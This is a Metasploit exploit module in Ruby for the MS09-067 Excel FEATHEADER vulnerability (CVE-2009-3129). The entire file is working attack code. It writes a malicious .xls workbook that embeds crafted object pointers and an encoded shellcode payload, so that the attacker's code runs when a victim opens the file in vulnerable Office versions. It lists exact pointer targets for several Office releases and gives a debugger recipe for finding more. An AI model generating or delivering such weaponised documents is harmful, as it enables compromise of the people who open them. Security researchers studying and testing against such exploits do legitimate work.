##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/ole'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS09-067 Microsoft Excel Malformed FEATHEADER Record Vulnerability',
      'Description'    => %q{
            This module exploits a vulnerability in the handling of the FEATHEADER record
          by Microsoft Excel. Revisions of Office XP and later prior to the release of the
          MS09-067 bulletin are vulnerable.

          When processing a FEATHEADER (Shared Feature) record, Microsoft used a data
          structure from the file to calculate a pointer offset without doing proper
          validation. Attacker supplied data is then used to calculate the location of an
          object, and in turn a virtual function call. This results in arbitrary code
          exection.

          NOTE: On some versions of Office, the user will need to dismiss a warning dialog
          prior to the payload executing.
        },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Sean Larsson',  # original discovery
          'jduck'
        ],
      'References'     =>
        [
          [ 'CVE','2009-3129' ],
          [ 'OSVDB', '59860' ],
          [ 'MSB', 'MS09-067' ],
          [ 'BID', '36945' ],
          [ 'ZDI', '09-083' ],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=832' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
          'DisableNops'   => true # no need
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          #
          # To find new targets, generate the file using the debug target and execute
          # the following in windbg:
          #
          # 0:000> s -b 0 L?-1 04 00 00 00 ee ff c0 da
          #
          # Use the largest number + 9 (should be in the 0x30xxxxxx range)
          #

          # Office v10.6501.6626, excel.exe v10.0.6501.0
          [ 'Microsoft Office 2002 (XP) SP3 base English on Windows XP SP3 English',
            { 'ObjPtr' => 0x307ddd10 }
          ],

          # Office v10.6854.6845, excel.exe v10.0.6854.0
          [ 'Microsoft Office 2002 (XP) SP3 w/kb969680 English on Windows XP SP3 English',
            { 'ObjPtr' => 0x308082d0 }
          ],

          # Office v11.5612.5606, excel.exe v11.0.5612.0
          [ 'Microsoft Office 2003 SP0 English on Windows XP SP3 English',
            { 'ObjPtr' => 0x3085d430 }
          ],

          # Office v12.0.6425.1000, excel.exe v12.0.6425.1000
          [ 'Microsoft Office 2007 SP2 English on Windows XP SP3 English',
            { 'ObjPtr' => 0x30f69018 }
          ],

          # crash on a deref path to heaven.
          [ 'Crash Target for Debugging',
            { 'ObjPtr' => 0xdac0ffee }
          ]
        ],
      'DisclosureDate' => 'Nov 10 2009'))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.xls']),
        OptString.new('OUTPUTPATH', [ true, 'The output path to use.', Msf::Config.local_directory]),
      ])
  end

  def add_record(tag, data=nil)
    ret = ""
    ret << Rex::OLE::Util.pack16(tag)
    data ||= ''
    ret << Rex::OLE::Util.pack16(data.length)
    ret << data
    ret
  end

  def exploit

    # build the Workbook stream
    ptr1 = target['ObjPtr']
    ptr2 = ptr1 + 4
    ptr3 = ptr2 + 4
    ptr4 = ptr3 + 4

    bofdata = ""
    bofdata << Rex::OLE::Util.pack16(0x0600)
    bofdata << Rex::OLE::Util.pack16(0x0005)
    bofdata << Rex::OLE::Util.pack16(0x1faa)
    bofdata << Rex::OLE::Util.pack16(0x07cd)
    bofdata << Rex::OLE::Util.pack32(0x000100c1)
    bofdata << Rex::OLE::Util.pack32(0x00000406)

    feathdr = ""
    feathdr << Rex::OLE::Util.pack16(0x0867) # frt
    feathdr << "\x00" * (10)
    feathdr << Rex::OLE::Util.pack16(0x0004) # isf
    feathdr << "\x01" # reserved
    feathdr << Rex::OLE::Util.pack32(0x00000004) # cbHdrData
    feathdr << [ptr1].pack('V')
    feathdr << rand_text_alphanumeric(1) # alignment
    feathdr << [ptr2].pack('V')
    feathdr << [ptr3 - 0x28].pack('V')
    feathdr << [ptr4].pack('V')
    #feathdr << "\xcc"
    feathdr << payload.encoded

    content = ""
    content << add_record(0x0809, bofdata)
    content << add_record(0x0867, feathdr)
    content << add_record(0x000a)

    print_status("Creating Excel spreadsheet ...")

    out = File.join(File.join(datastore['OUTPUTPATH'], datastore['FILENAME']))
    stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)
    if (not stg)
      fail_with(Failure::Unknown, 'Unable to create output file')
    end
    stm = stg.create_stream("Workbook")
    if (not stm)
      fail_with(Failure::Unknown, 'Unable to create workbook stream')
    end
    stm << content
    stm.close
    stg.close

    print_status("Generated output file #{out}")

  end
end
